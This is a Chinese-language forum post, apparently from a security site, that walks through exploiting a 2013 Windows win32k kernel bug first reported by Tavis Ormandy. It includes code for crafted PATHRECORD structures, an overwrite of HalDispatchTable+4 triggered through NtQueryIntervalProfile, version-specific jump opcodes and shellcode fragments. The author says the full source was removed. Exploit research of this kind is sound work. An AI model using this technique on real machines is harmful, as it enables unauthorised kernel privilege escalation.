Tavis Ormandy 在做压力测试的时候发现的这个漏洞.
see:
http://blog.cmpxchg8b.com/
http://seclists.org/fulldisclosure/2013/May/118
note:
为了防止某些童鞋用来干坏事和某些原因.把源码删了..
poc 见上面的链接.
感谢kman,原来的shellcode处最后堆栈没有平衡,在Shellcode的最后的ret改成retn 0x10就好了。抄代码需谨慎。。
下面说下利用的思路吧:
1, 首先要确保不蓝屏:
1) 构造一个新的PATHRECORD, 设置其next指针为NULL, flags为PD_BEGINSUBPATH.
还要确保MAGIC_DWORD那里可以访问.(MAGIC_DWORD见下面)
ExploitRecord.next = (PPATHRECORD)MAGIC_DWORD; //见下面分析
ExploitRecord.prev = (PPATHRECORD)WriteToHalDispatchTable;//这里是我们要写入地址的值
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;//为了跳过内存访问异常的代码
ExploitRecord.count = 4;//为了跳过内存访问异常所设置
ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
ExploitRecordExit->next = NULL;
ExploitRecordExit->next = NULL;
ExploitRecordExit->flags = PD_BEGINSUBPATH;
ExploitRecordExit->count = 0;
2)如何跳到shellcode.
根据Tavis给的POC,漏洞属于任意地址写,一个指针,指针的前4个字节可控,后4个字节为可预知的.关键是这个4个字节.填什么呢?只有4字节..push 0, ret. 3字节. 这样就可以跳到0地址了,但是这样不好,win7-win8 0地址不叫分配了.所以考虑别的方法,我使用的是KiDebug以前发的利用代码,覆盖的是HalDispatchTable+4这个地址,然后调用NtQueryIntervalProfile来触发,所以,断到HalDispatchTable+4处发现栈上esp+0x60处为我们调用NtQueryIntervalProfile传进来的参数的地址,好了.我们可以使用 jmp [esp+0x60](4字节)刚好,跳到参数地址处,
jmp [esp+0x60]是啥0x602464FF?直接在在可控的4字节填充0x602464FF就好了.测试win7的时候发现KeQueryIntervalProfile变成了寄存器传值了还不是fastcall IDA里叫__usercall,所以,要变成jmp [esp+0x64]
DWORD CheckMagicDword()
{
OSVERSIONINFOEX OSVer;
DWORD dwMagic = 0;
OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
if(GetVersionEx((OSVERSIONINFO *)&OSVer)){
switch(OSVer.dwMajorVersion){
case 5:
dwMagic = 0x602464FF;
break;
case 6:
dwMagic = 0x642464FF;
break;
default:
dwMagic = 0;
}
}
return dwMagic;
}
然后这样填充
ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
ExploitRecordExit->next = NULL;
ExploitRecordExit->next = NULL;
ExploitRecordExit->flags = PD_BEGINSUBPATH;
ExploitRecordExit->count = 0;
ExploitRecord.next = (PPATHRECORD)MAGIC_DWORD;
ExploitRecord.prev = (PPATHRECORD)WriteToHalDispatchTable;
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count = 4;
3, 怎么判断exploit是否成功呢?
我直接在shellcode中修改的是NtQueryIntervalProfile的参数.为一个固定值然后来判断NtQueryIntervalProfile的返回值是不是这个值就好了.
mov eax, [esp+0xc]
mov DWORD PTR [eax+4], 1
mov DWORD PTR [eax+8], 0xC0000018
xor eax, eax
if (*(PULONG)ShellCode == 0xC0000018){
bRet = TRUE;
break;
}
好了差不多了.基本上加上Tavis的poc就完全可以构造出exploit来了.
感谢Tavis Ormandy,以及其提供的poc
最后羡慕Tavis自由的研究环境.
test on win7:
[课程]Android-CTF解题方法汇总!